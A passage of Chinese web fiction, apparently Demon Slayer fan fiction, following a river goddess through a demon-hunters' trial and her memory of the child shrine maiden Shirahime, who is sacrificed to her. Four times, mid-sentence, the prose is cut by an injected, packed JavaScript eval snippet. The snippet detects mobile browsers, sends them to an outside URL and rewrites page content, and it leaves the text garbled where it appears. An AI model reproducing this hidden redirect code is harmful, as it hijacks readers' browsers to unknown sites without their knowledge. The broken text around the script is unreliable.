说罢他又对我微笑道:“染小姐尽可以放心,我们可以保证你和妹妹的安全,先让平八郎带你们去住处休息,其他的容我们日后再想办法。” 啊…好亲切的人啊…… 但他上一句说的什么? 鬼…什么? 鬼,杀,队??? 我终于知道小梅为什么脸都白了,曾经是鬼的她,一定比我更熟悉这个莫名其妙的组织的人身上的气息。 这么巧的吗?运气真好! 这种生死攸关的时刻,拼的就是脸皮厚度了。好在我师从鬼界那位著名的不要脸上弦,现在终于到了检验修行成果的时刻! 我露出一个温柔美好的微笑。 “多谢主公大……” “平八郎!你小子又从哪里带回个野女人?连来路都不清楚,就不怕是鬼变的吗?” 一个粗粝的嗓音从不远处传来,人也已经像一阵风暴似的大踏步的走到了我面前。 那是个留着一头奇特的灰白长发的男人,一道伤疤从额角延伸至下巴,让那张脸显得格外可怖。他目光阴鸷的盯着我,白羽织敞开的领口中露出结实的、满是伤痕的胸肌,好像一头盯着猎物的狼。 他脸上也有胎记,形状…像是风车或者螺旋?这是某种符号吗? 男人身形高大,居高临下的逼视着我,看样子好像随时准备拔刀砍下来。 但这不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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前田早云惊道:“宇野波宗正!你是疯了吗?千越的‘时轮’是对付鬼的杀器,你让一个人类女孩子去接受‘时轮’的试炼?万一灵体碎掉怎么办?” “阿弥陀佛。” 高大的僧人在主公身侧微微躬身,“在下的法器‘时轮’仅仅对鬼致命,倘若这位小姑娘真是人类,最多休息一两天就能恢复。” 小梅在疯狂扯我的袖子,“阿姐,我们回去吧!这些人好可怕!” 我蹲下身看着她,“小白,你不记得咱们的约定了吗?阿姐曾经允诺你,一定会带你离开这里回到人世去,如果他们有办法能让咱们回去,试炼又有何不可?” “染小姐真是好胆量。”主公的声音依然温和,“虽然确实是无礼的请求,但也请理解这是战时的迫不得已。我现在问你,你真的愿意接受法器‘时轮’的试炼吗?” 真是唱的一路好双簧。 我在心中大致估算了一下,即便那个叫早云的青年手下留情,我也不敢保证能战胜眼前这两个深不可测的男人。看来今天如果我不答应,恐怕是无法全身而退。 我站起来,平静的注视着他。 “我不了解你们说的是什么试炼,但我愿意接受。可我要主公大人向我保证,若是我不小心死了,请你们保护我妹妹的安全,并想办法送她回到人世。” “很好。”主公笑道,“那就请二位小姐先随平八郎去往休憩之所,我们明日会为染小姐安排试炼。” 35. 白姬(2) 名叫早云的青年将我们带进了居馆后的一片林子中,那里矗立着几间简单的草屋,略陈旧的檐廊散发出木头腐朽的味道,看来这地方也会接受时间的考验,并不是永恒的居所。 我站在门口向他鞠躬道:“让早云先生为我们费心了。您愿意站出来为我和小白说话,我真的很感动。” 青年嘿嘿一笑,摸了摸鼻子,“这是应该的,女孩子嘛,必须要好好保护才行。” “谁要你假惺惺的?”小梅终于压不住火气,“你们这些男人恃强凌弱,故意欺负我阿姐!” 嚯,能让前上弦之六说出“恃强凌弱”这种词,看来这几个人是真的很强啊。 早云难为情的抓抓头发:“小白小姐就算生气的样子都这么可爱啊…我知道你们肯定吓坏了,但不要太责怪宗正。他以前是浪人出身,不太懂礼仪,家里人多,八口人全靠他养活,但后来都被鬼杀啦,连他刚过门的妻子都…加入鬼杀队没几年,他所敬仰的一位前辈又变成了鬼…他就成了这副样子。”他叹了口气。 “所以你们都是自愿来到这里的?”我好奇道,“宁可不去轮回,也要守在无间地狱里…就为了接着杀鬼?” “你们是普通人,不了解这些事,就别再问了。”他笑道,“每个人都有自己的执念,不是吗?” “的确,我可以理解。”我说。 “那我就回去了,有事你们随时找我。”青年微笑,“对了,千越的试炼…可能会有点难受,算是一种让业力反噬的法术,但人类的话一般没什么问题,不用太担心了。” “多谢你告诉我,早云先生。”我点头道。 进到屋里,我刚在一方矮桌前坐下,谢花梅就冲了过来。 “你干嘛不反抗?”她瞪着我,“干嘛要答应他们什么条件?我们走掉不就好了!” 我看了眼窗外似乎没有人。“这个地方是‘门’的所在,我们必须赌一把。“ “你疯了?万一出事怎么办?”她不依不饶,“谁都不知道那个试炼是个什么东西,万一你死了残了,我怎么跟童磨交代?!” 我轻声说,“别在这里提起那个人的名字,也别提你有哥哥。除非你想咱俩都完蛋。” 谢花梅终于闭上嘴,气呼呼的跑到墙角抱着膝盖坐着。 “不用太着急。”我安慰她,“我是神灵,人类的法术对我作用不大。你更该担心你哥哥,你没听到吗,这几个人在这里盘踞了至少四百年,执念又深,对鬼的仇恨更是猛烈,即便他们是人类,真要打起来,我们也未必能占到便宜。尤其是…” 我叹了口气,“…那个家伙实在让人不放心啊。” 小梅讽刺的瞥我一眼,“都这种时候了你还在担心他?放心吧,就我对他的了解,我们都死了他也死不了。” “那他是怎么到这里来的?”我忍不住笑了,“最后还是死了嘛。不过他那种个性,我倒是能想象,十之八九是浪死的。” “也不一定啊,无…那位大人如果被消灭的话,我们就都会死,这是血液决定的。”小梅有点无奈的说。 我靠在斑驳的墙壁上,感觉这里的水汽也很充盈。这是好事,有水的地方,就是我的地盘。 “这么说的话,那位大人死的很好。”我冷静的评论道,“至少你们都自由了。” 小梅想反驳我,张了张嘴却没有说出口。末了气哼哼的说,“放以前你要敢这么说,我肯定打你。” 接着她又说,“你就是喜欢他,我早看出来了。” 话题转换太快,我差点趴下。 “谢花梅,你的小脑袋里想什么呢?”我感觉脸又在抽搐了,“我说了多少次我们只是朋友?“ “什么朋友,童…那家伙以前根本就没有朋友。”小梅嗤之以鼻的说。 “诶?”我傻了眼,“不对啊,我听他说过,他有很多朋友啊,大家都很喜欢他。难道是骗我的?” 小梅充满同情的看着我:“我跟你说过他脑子有病吧?事实上根本没一个人喜欢他,连那位大人都讨厌他,下弦们怕他怕的要死,上弦们都烦死他了。他自认为最重要的一个朋友见他就打爆他的头,除了我和哥哥,就玉壶还能跟他说两句话。只有他自己不知道为什么非要说大家都是好朋友。我们这种存在,哪来的朋友?那位大人甚至都不许我们太多见面的。” “……” 不行,今天的打击太多,我得缓缓。 “反正他也不是真喜欢我们。”小梅接着说,“我知道的,所以扯平了。” 我不得不直视她,有时候觉得她那张13岁少女的美丽面庞下,是个成熟的多的大人。 “所以你可要想好了,”她那成熟的风尘女子气息又浓了几分,“他很可能根本就不会爱上你。” 爱? 我似乎从未考虑过如此人性的一个词。在我漫长的生命里,同样对这个词一无所知,这是专属于人类的词汇,鬼神之爱,往往是难以想象的事。如果硬说的话,我可能爱着大地与河流,也爱着山林和樱花树,却不曾体会过爱上一个人的滋味。 但所有的刻骨铭心最终都会在时光中沉淀为羁绊,这就够了。 “你想多了。”我淡然道,“那只是一个很久以前的约定罢了。” “什么约定啊?” 门被拉开,珠世脚步轻缓的走了进来,手中端着的盘子里装了一些黄色的圆润果实,看起来很是新鲜。 小梅这次反应的很快:“是我阿姐…我阿姐在人世尚有婚约。” ??? 珠世微微一愣,边跪坐下来,边将果子放在桌上,“染小姐已经有了心仪的对象?也难怪,你看着也到这个年纪了。” 什么跟什么啊?? 我只能顺着往下说:“的确是有心仪之人,但婚约什么的…是小时候的事了,对方早已经忘了。” “是怎样的人呢?”珠世似乎对此颇有兴趣,“抱歉,我有点好奇,像染 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252312|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小姐这样坚韧的女孩子,会喜欢上什么样的男人呢?” 怎样的人…?这就有点难了。 似乎很难找到合适的词汇啊。 “嗯…是个很聪明风趣的人。” 虽然说出的话经常让人想暴打他。 “个性也很天真可爱。” 永远像个没长大的孩子一样,天真又残忍。 “但很骄纵,又懒,因为家中比较富裕,从小被人伺候惯了,所以基本生活没法自理,连吃东西都会弄的满脸都是的那种程度。” 实话,这段时间我简直深有体会。 “虽然平时不靠谱到可怕的地步,关键时刻还是很可靠的……至少我这么觉得。” 真的吗?? “总之,是个让你看到他就会很开心,但也经常被他搞到心情崩溃的人。” 我微笑着总结道。 “听起来像是哪家的贵公子。”珠世难得露出一丝真实的笑意,“让我想起我刚刚认识我夫君的时候,那种幸福和忐忑,也是这样的心情呢。” “诶?并并并不是那样!” 我感觉这一天真是十分难熬,怎么一个两个都这么奇怪? “所以染小姐如此急迫的想要回到人世去,想必也是很想再见到重要之人吧。” 我轻声叹了口气。 “是啊…我必须回去见他。” “有这份决心就好。”珠世点点头,“请放心,我一定会帮助你们的。” 所谓的“试炼”的确有些奇怪。我看着那漂浮在我面前、如同赤铁打造的圆环如此想着。 这是那位名叫“千越”的僧侣的法器“时轮”。足有一臂宽的圆环上以密文刻满了咒语,围绕四周的是一种非常沉厚的灵力场,不太像我之前接触过的鬼杀队这些人身上的气息,倒有点当年降下封印的阴阳师的味道。 珠世私下告诉我,应对“时轮”考验的关键是发自内心的忏悔自己的罪业,如果罪业过于深重,就会引来业火焚烧灵体。由于鬼这种存在往往背负无尽杀业,四百年来葬送在这对“时轮”下的恶鬼没有一千也有八百。 幸好童磨没遇到这东西,我默默想。否则估计要被烤成炭烧上弦。 但我好像一直也没问过他,当初在业火之界,他究竟是怎么逃脱了业力之锁的束缚、从魂灵狩的眼皮底下溜掉的。 果然永远是个能让你大吃一惊的人呢。 僧侣悲悯的双手合十道:“阿弥陀佛,染小姐,你是否已准备好接受试炼?” 我回过神来,为自己这种时候还满脑子都是那只鬼感到一丝羞愧。 “我准备好了。” “时轮”中亮起一圈夺目的白光,中央形成了类似水银镜面的效果,缓缓旋转着移动至我头顶上方。 在它停下的一瞬间,好像有一道闪电或是一把阔斧劈开了我的头。 剧痛中眼前一片白光。我强撑了一会儿,依然抓不住逐渐消失的意识。 36. 白姬(3) 暮春。微风拂过窗外的樱树,几片最后的樱花花瓣飘落在桌上。 女孩趴在桌上认真的写着什么,旁边积了厚厚一挞纸,纸上一行行尚显稚嫩的笔迹,一些被划掉,涂抹,再添上新的字句。 “小白,你说他会收到我的信吗?” 青蓝色的大蛇在窗边的暖阳下缓缓吐出分叉的舌头,懒洋洋的一动不动。 “我这样写,你听听可以吗?”女孩拿起一张纸,认真的开始读上面的字。 “极乐教的小神子,你回到京都了吗?” “京都的樱花还开着吗?江户城昨天下了雨,天气越来越热了。我吃到了很好吃的艾草羊羹,好想给你也尝尝。” “我每天都有在练习神乐舞,下次见面时就能跳给你看了。你有抄写我给你的经书吗?要好好加油哦。” “你后来又去了哪些地方?那些人还会找你哭吗?” 她想了想,提笔抹去了这行字,又写上一行新的: “…你后来又去了哪些地方?有看到美丽的景色吗?荒川两岸的花都开了,有牵牛花、蒲公英和踊子草,神社里的紫阳花也开的很好,京都那边的话,山里应该更漂亮吧?” 纸门被拉开,一名女侍垂着头跪坐在门外。 “白姬大人,阿椿也被柳生大人召回去了。现在您身边的女侍只有我一人了,神社这么多的工作,根本干不完啊。您要不要去向大人和夫人道个歉?不要这么倔强啊。” 女孩平静的把纸笔放下。 “我不会道歉的,”她坚持道,“那孩子说过,我没有做错任何事。明明是阿松哥哥先找事的,我写信跟父亲说了,他在街上打我,还让极乐教的神子割破手为他祝祷,是他不对。” “可是……”女侍没有再说下去。 那些信听说早被藤月夫人扣下,直接丢进了柴房的火炉里。 自那天藤月夫人那天带儿子来过神社后,不知出了什么事,巫女大人的日子就一天比一天难过了。不仅月俸被扣掉一半,连送来的粮食蔬菜都少了很多,米也换成了碎米,更不要说之前的水果和点心。 但巫女大人依然很有精神,即使吃着腌渍萝卜配白饭,也照旧每天抄经、练舞、上山疯玩。 这可怜的八岁女孩,还不如生在平民家。 女侍暗自叹息,微微躬身后关上了门。 女孩的目光重新回到桌上,拿起面前一枚小小的银铃,爱惜的放在掌心里摸了摸。 “小白,我好开心能认识那个孩子。”她笑着说。 “我终于有了朋友啦。当然,小白也是我的朋友,但那孩子不一样哦。” 她歪着脑袋想了想,“他从来不会害怕,又那么温柔。他还有那么漂亮的光,也许真的是神明之子也说不定哦。” “他说希望大家都能从他那里得到幸福。” “小白,我想成为他那样的人呢。” 女孩托着腮,眼中荡漾着憧憬的光。 “他长大后一定会成为了不起的人吧,我也必须加油才行,就这么决定啦!” 仲夏。天气不热,神社后山的樱花树上已经长出了小小的果实。树下的女孩子伸手去够最近的树枝,几次后泄气的垂下了手臂,眼巴巴的看着枝头那些浅红诱人的小圆球。 大蛇慢吞吞的爬上树,长长的、泛着蓝色鳞光的尾巴裹住树枝轻轻一拧,一整支带着果子的树枝就掉在了女孩面前。 “小白好棒!”女孩拍着手眉开眼笑,“就知道小白最厉害了。” 蛇盘在树上,微微朝她低下头,金色的竖瞳中毫无波澜。女孩把樱桃塞进嘴里,脸立刻皱了起来。 “好酸!” 然后又举起手去逗弄蛇:“小白要不要吃?很酸的哦。” 蛇不屑的把头扭到一边。 女孩捧着樱桃坐在树下,看着远处山下的荒川。这个夏天的的雨水稀少,天气也并不温暖,两岸的田地在干旱下显得没精打采,连河中的水位都降低了不少。 “今年的收成看起来好差啊,虫子也好多。”女孩自言自语的说,“听阿静说,她家里都已经吃不上米了呢,只有红薯吃。小白的话,能让河里的水多一些吗?”她仰头看着树上的蛇,“小白是神灵,一定做得到吧?“ 蛇不为所动。突然伸展开长度惊人的前半身,猛的一个弹射,在草丛中叼住了一只肥大的野兔,一口便吞了,然后慢慢的退回了树上。 “好厉害啊!”女孩看的目瞪口呆。 蛇得意的甩了甩尾巴。 女孩突然好像有了个好主意,脸上浮现了一抹坏笑,“下次那孩子再来神社的时候,小白也一起来玩吧,我们一起吓他一跳怎么样?” “我不是想欺负他啦。”她摸了摸手腕上的铃铛,“就是觉得他每天都在对人又哭又笑,好像根本没有自己的表情呢。好想看看他被吓一跳,或者吃到酸樱桃是什么样子啊,嘻嘻。” “他没有回我的信,会不会是太忙了呢?过几天再写给他吧。” 入秋。神社庭院中的枫树已经陆陆续续的红了。女孩抱着一只木盆,将洗好的肌襦袢晾晒在檐廊下,直起身擦了擦脑门上的汗水。 女侍从远处跑了过来:“白姬大人,怎么能让您做这种粗活?留给我来做就好!” “不要紧的呀,阿静。”女孩笑道,“我又不是小孩子了,况且洗衣服和捏饭团我从小就做的很好哦!对了,母亲托人给我送来了一些麦芽糖,阿静拿回去一些给孩子吃吧,你的小儿子有三岁了吧?” “是、是的!乡下一直在闹粮荒,已经饿死很多人了……白姬大人要把这么宝贵的糖分给犬子吗?这可真是…”女侍很是不好意思,“说句不合我身份的话,白姬大人自己也只是个小女孩,请务必保重身体呀,您最近吃的太少了!” “哪里的话,我当然留了自己要吃的,还有很多呢。”女孩吐舌头,“我可最爱吃糖了。” 可能因为着凉,晚上她就倒下了,脸烧的通红,恹恹的躺在榻榻米上,望着窗外从傍晚就开始下的淅淅沥沥的秋雨发呆。 “啊…真是讨厌啊…”女孩迷迷糊糊的抱怨,“后山的金木犀应该开了呢,本来还想摘一些回来,洒在红豆羊羹上味道一定棒极啦…这下哪里也去不了了…” 大蛇用自己的躯体环绕住她,轻轻把头搭在她滚烫的额上。 “小白在担心我吗?不用担心哦,我明天一定会好起来的。”她摸摸蛇冰凉的鳞片,“毕竟还要练神乐舞呢,我可不要输 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252313|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给那孩子,会被他笑话的。” “小白好温柔,就像母亲大人一样…”女孩喃喃道,“好想念母亲啊…母亲给的糖我还偷偷留了一些呢,要留给那孩子哦,毕竟他都没怎么吃过糖呢。” “到樱花开的时候,他就会来了。我是这么跟他约定的哦,所以在那之前,我一定要努力啊…” “努力帮助受苦的人,努力让身边的人得到幸福…小白,原来我不是怪物啊,眼睛能看到奇怪的东西也没关系,大家也会对我微笑,母亲大人也是爱我的,真的好开心呀…” 她摩挲着手腕上的银铃,沉入了梦乡。 隆冬。大雪。 女孩在檐廊下像模像样的练习神乐舞,不过没跳一会儿,就按捺不住的扑到了雪地里,不顾冻的通红的双手,三两下就捏了个雪球,准确无误的扔到了房间的木窗棂上。 “小白,别睡了,出来玩雪啦!” 大蛇盘在屋里的炭炉边一动不动。 女孩裹着一身寒气跑了进来,笑嘻嘻的扑到蛇身上,蛇相当不满的用力摔了两下尾巴,也只有作罢。 “我今天九岁啦!”她冲着蛇大喊,“马上就是大人了哦!” “这么说的话,记得那孩子说他也是冬天出生的呢!”女孩叉着腰得意的说,“但我比他大一岁哦,下次见面时一定要让他叫我姐姐!” “哼,竟然敢不回姐姐大人的信,看我怎么收拾他!” 那个期待已久的春天终于降临了。因为干旱,樱花开的稀稀疏疏,似乎春天的到来只是一个幻觉。 快入夏时,江户城里竟然闹起了疫病,得病者先是高热,然后上吐下泻,仅一两天的时间就宣告不治。城中一时人人自危,拉尸体的竹车的声音日夜不绝。 “白姬大人绝对不许出去!”女侍拦在门口,态度坚决的说,“城里已经死了很多人了,听说连阿松公子都倒下了,藤月夫人每天都在求神拜佛呢,如果您也病倒的话就麻烦了!” “可是总要做些什么呀。”女孩央求道:“我去后山看看就回来,我在书里看到了几种能治病的草药,总觉得在山上见过,让我去确认一下吧!” “不可以。” 女侍只是一直如此说着。她无奈的只好回到房里,拿出一本经文来抄,但没抄两行,就心浮气躁的将书推到了一边。 “小白,我好害怕。你说这场瘟疫什么时候才能过去?死了好多的人啊…” “连阿松哥哥都病倒了啊,他那么健康的一个人…也不知道母亲怎么样了。” 一向信心十足的女孩终于流露出了慌乱和担忧。 坐在桌前深呼吸了几次,她逐渐冷静下来,摊开了桌上的经书。 “我得加油才行…他说过我是勇敢的孩子,所以就算什么都做不了…就算什么都做不了,我也可以为大家祈福,请神明大人保佑父亲和母亲,还有城里的大家…” “我来跳神乐舞吧,就算跳的不好也没关系。”她终于下定决心似的说道,“我要向神明大人献上祈愿,以巫女的身份帮助大家!” 记忆里白橡色头发的神子依然在微笑,如同星光,如同信仰,如同遥不可及的梦想。 那是名为白姬的人类少女,人生中最后的四季。 37. 白姬(4) 她和女侍两个人用了一天就准备好了祭祀用的各种仪具,虽然供品寒酸了些,但她想神明大人大概不会介意的,毕竟刚刚熬过了饥荒,大家都过的很辛苦,供奉简单一点也没关系。 换好巫女服的她走到神坛前,手持串铃,在女侍的太鼓声中起舞。 这支祭舞她认真的练了整整一年,本是为了他准备的。每一次练习时,她的脑海中都是一年前那个春日的下午,身穿黑色法衣的极乐教神子,在庭院中为她演示神乐的样子,那孩子的发色和瞳色本就特殊,在阳光下闪闪发光,简直如同传说中森林深处的妖精,加上在舞蹈方面似乎又格外有天分,因此每一个动作都十分优美,她全部牢牢的记在心里。 这一次,她再也没有感到紧张和慌乱。 这个春天他大概不会来了,她想。但没关系,还有下个春天,下下个春天,只要两人都活在世上,总有重逢的那一天。 大蛇静静的盘踞在神坛上,自化为有形以来第一次感受到了一丝异样的悸动。 ——那是献给我的神乐吗? 它用意识问道。 女孩在下一个动作转过头看着它,四目相对之时,同样无声的笑了。 ——是呀,是献给神明大人的。 ——但也是献给我的朋友小白的,因为我相信小白一定会帮助大家。 ——我为什么要管人类的死活呢? 大蛇不解的问。 ——我是河流的化身,是永恒的存在,这些朝生暮死的生命,和我又有什么关系? ——因为帮助大家是神明大人的责任,小白要像我一样,担负起自己的责任来。 女孩在神乐中一本正经的回答。 荒川的水神困惑的歪着头,看着这小小的人类女孩子在自己面前起舞,竟然感到无法拒绝她强大的意志。 ——好吧。它说。 ——我可以满足你的心愿,因为你是我唯一的朋友。 一曲神乐结束,女孩擦了擦汗,冲着神坛扮了个鬼脸。 “小白的承诺我可听到了哦,不可以反悔!” 神社的门前突然传来许多人的脚步声,女侍抬头一看,顿时愣住了。 “柳生大人…您怎么…?”意识到自己的语气并不合适,阿静连忙跪下,“柳生大人大驾光临,我等真是不胜荣幸!白姬大人正在为神明表演祭舞,请您……” 将军的侧用人,柳生家主大人连看也没有看她,沉沉的脸色中混着一丝复杂的神情,面无表情的看着从殿内跑出来的小女儿。 “父亲大人!”她开心的叫了一声,但马上意识到哪里不对。 那个男人注视她的眼神,并不是父亲的眼神,而像是在注视着什么邪恶的东西一样。 她默默跪下,向将军的侧用人行礼。 “白,你的兄长去世了。” 柳生大人的声音不大,却如同惊雷。 她抬起头,惊愕的说不出话来。 “阿,阿松哥哥他…怎么会…”半天,她才讷讷的说道。 “你也满九岁了。”柳生大人说,“去年的旱灾和今年的瘟疫都很严重,柳生家又失去了重要的继承人,想必是荒川之神对我们有所不满,是你该履行作为荒之巫女的职责的时候了。” “我有履行我的责任啊。”女孩急急的说,“我刚刚还为荒川之神表演了祭舞,它同意……” 她忽然像意识到什么似的,声音卡在了喉咙中,眼睛慢慢的睁大。 “父亲大人的意思是…要我…献祭吗?” 柳生大人庄严的点了点头,“这是你作为巫女存在的意义,柳生家供养巫女,正是为了在这样艰难的时刻供养荒川之神。你准备一下,日子就定在三天后吧。” 殿内一时安静下来。只听得到呼吸声。 “什么啊…骗人的吧…” 女孩低着头,全身都在发抖,随即又用尽力气似的抬起头,“小白不是吃人的怪物!它是神明!你们一直都在带坏它!” “你在说些什么,不要再胡言乱语了。”柳生大人皱眉,“这件事没有商量的余地,你母亲当初也同意了的。快些去准备吧。” ”母亲大人也……” 女孩捂住嘴,无力的跪坐在地上。 “可我,可我…我和那孩子约好了… 像是什么根本不存在的东西突然崩塌,她泪如雨下。 神坛上的巨蛇躁动起来。 ——你为什么在哭啊? 蛇神的意识渐渐变得焦躁起来。 ——是这些人让你哭了吗? ——喂,我在跟你说话呢。 ——这些肮脏的人类,胆敢让你哭泣吗? 狂暴的气场突然在殿内弥漫开来。神坛上的香炉啪的裂成两半,似乎有什么巨大的东西,即将从虚空中显现出来。 就连柳生大人面上也滑过了一丝惊疑,他后退了两步,身边立刻有一群武士抽出明晃晃的太刀,将他围在中间。 女孩却默默的站了起来,转身面向神坛,将双臂伸向某个他们无法看见的巨大存在。 “小白,不要担心,没事的。” 她轻柔的说道,仿佛安抚孩子的母亲。 “小白是好孩子,你的力量应该用来守护重要的人,而不是用来破坏,所以要学会控制自己哦。” 她的声音仿佛有着催眠般的力量,荒川之神的怒火慢慢平息下来。 虚空中的巨蛇收敛了自己暴涨的杀意,又变回了那条她熟悉的蛇。 ——不要哭啦。 它说。 ——我们去山上玩好不好?不要哭啦。 “嗯,我不哭了。”女孩擦了擦眼泪,露出一个微笑。 她转过身,直视着那位曾赐予她生命的男人。 “父亲大人,我同意您的决定,我会履行我作为荒之巫女的责任。请给我三天时间,我还有些事情要安排。” 女孩的声音平淡且冰冷,像是在一瞬间长大,变成了另一个人。 回到房内,她开始慢慢收拾自己的书桌,将那些摊开的、带有字迹的纸张整理在一起,将书本整齐的放好。 大蛇无声的爬进房间,有些困惑的盘踞在角落里。 “小白,我给你讲个故事吧。”她说。 “在很久以前,佛陀化作一位仙人在山中修行,有位国王带人来游玩,因为他的一位侍女偷偷跑去听仙人讲法,国王恼羞成怒,拔出宝剑就去找仙人算账。” “国王先后砍掉了仙人的双手、双脚、耳朵和鼻子,仙人都忍耐了下来。但国王依然说,我不相信你是仙人,你有本事就展示给我看。” “于是仙人说,如果我的能力是真的,就让我的血变成奶水,让我的身体复原。话音未落,他的血就真的变成了奶水,身体也真的复原了。国王这下服气了,仙人并没有怪罪他,反而对他说:“等我以后修炼成佛,一定要第一个度化你。” “这是《金刚经》里的故事。后来仙人真的成了佛,就教导他的弟子说,在我被那位国王砍碎身体时,我心中并没有我自己的形象,也没有任何其他的形象,正因为我是无形的存在,才没有心生怨恨。因此,当你们想要救赎他人时,不要在意自己的身体是否会陨灭,只要你的心在无形之处,你就能成为任何有形的存在。” 女孩轻轻的叹了口气,将桌上的银铃握在手里。 “我就要去无形的地方了,但我会永远和小白在一起,如果有可能的话…我愿意把我的灵魂献给你,这样小白就可以代替我,体会世上所有美好和幸福的事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252314|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “只有一件事…我想让小白原谅我的任性。” 她缓缓抬起头,似乎要以灵魂的力量,将一种全新的意志刻印在荒川之神的灵魂中。 “虽然不甘心,但我没办法再履行我和那孩子的约定啦。他和小白那么的相似,都是好孩子,可我担心他会消失掉…那些人在吃掉他,我看得到。” “所以请小白找到他,不论过了多久,不论他变成了什么样子,也请你代替我守护在他身边,不要放弃,不要让他消失掉。” “这是我对小白唯一的祈愿,拜托啦。” 她紧紧的抱住了荒川之神,蛇神也回以一个温柔的拥抱。他们依偎在一起,度过了女孩生命中的最后三个昼夜。 第三日的傍晚,荒川神社的巫女白姬登上了荒川畔临时搭建的祭台。柳生大人带领家老和武士们来到了祭祀的现场,藤月夫人据说因为失去儿子太过悲痛而病倒,因而罕见的缺席了这一江户城中的盛事。 荒之巫女身披华丽的千早,手持纸扇和串铃,为荒川之神献上了最后一次神乐舞。人群伴随着太鼓的声音爆发出一阵阵欢呼声,饱受干旱和疫病折磨的人们,在这一刻感到自己真正得到了来自神明的救赎。 神圣的时刻到了。 白姬巫女站立在祭台的边缘,面对着夜幕中荒川的滚滚波浪。河流如同张开了一张血盆大口,等待着自己的祭品。 天空中骤然炸响了一道惊雷。在闪电的光芒中,离得近的人们开始爆发出尖叫和祈祷声,那是因为目睹了水中巨蛇显现的身影。 青蓝色的巨蛇,有着金色的独角,如同一条蛟龙般从河中探出头来。 伴随着那一刻,倾盆大雨降落在这一片黑暗的人间。 “下雨了!”人群嘶喊起来。 “下雨了啊!荒川之神显灵啦!” “神明大人一直在守护我们呢!” “真是太好了,庄稼有救了!” 大雨中,巫女的脸上满是雨水,露出了得偿所愿的笑容,口中说出的却不是事先拟定好的祷文: “能认识小白,我觉得好幸福啊!” “我会一直看着你的,所以,以后小白不可以再吃人了哦!记住了吗?” “也要记住我们的约定哦!” 她闭上双眼,将那枚银色的、刻着莲纹的驱魔铃,紧紧的按在自己胸前,声音飘渺而清澈,不知向哪位神明发出了最后的祈愿。 “请你,赐予我救赎。” 巫女如同一只展开翅膀的白鸟,在夜风中翩跹而起,坠落在荒川之神张开的巨口中。 那场大雨持续了三天,滋润了荒川两岸干涸的大地,也许真的是神明护佑的缘故,就连先前肆虐的疫病,在这场大雨之后也消失的无影无踪。当任的吉宗将军听闻神迹,格外欣喜,在雨停之后的第二天,特地在荒川边安排了盛大的花火大会。在荒年中压抑已久的人们从四面八方赶来,聚集在那条号称有神明护佑的河畔,欣赏烟火在夜空中绽放的绝景。 在最后的烟火于空中轰然盛放的时刻,没有人注意到,一只纤细的赤足,踏上了荒川神社附近某处的河岸。 那是一名披散着青蓝色长发的女子,光洁的身体在月下散发出珍珠色的幽光,如同一只古老的幽灵,但那双茫然而空白的金瞳,又像是刚刚来到人世的婴孩。她像是第一次学习走路那样,小心的适应着陌生的双腿,迈出了一步,又一步。 身体上最后的鳞光在登岸后隐去,新生的神灵突然听到身体中响起了某种从未有过的声音。 怦怦…怦怦… 她惊讶的抚上胸口,眼前是被花火点燃的浩瀚夜空,以及即将展开的漫漫长路。 一枚小巧的银铃在她的左腕上轻轻颤动,如同星光,如同信仰,如同遥不可及的梦想。 38. 白姬(5) 我站在翻滚升腾的烈焰中,好像回到了我刚刚堕入地狱的那一日,在业火之界的焦土上睁开眼睛之时。 皮肉消融,血液蒸发,重复了不知多少个轮回。 一个浑厚的声音在虚空中响起: ”荒川之主,忏悔你的罪孽!” “我并无罪责。”我说,“人类的确在我混沌之时以巫女的血肉供养我,但这就像初生的婴儿无法选择自己的食物一样,我亦无法选择。直到我的最后一任巫女用自己的灵魂净化了我,她对我并无半点怨恨,而是只有祝福,我因此而成为了真正的神灵。我是无罪的。“ 火舌舔舐着我的手臂,“你必定背负着杀戮之罪,否则不会来到地狱!快忏悔!” “是啊,我杀了柳生大名一家。” 我说。 “但那是在十二年后,他们为保自己的田产炸毁堤坝,淹没了附近的村庄。此为恶行,身为荒川的水神,我惩治人类的恶行,并无过错。” “他们全家上下六十多口人,其中必定有无辜者。”那个声音契而不舍的质问,“况且神灵不可干涉人世的因果,你肆意使用神灵之权,才是堕入地狱的原因。” 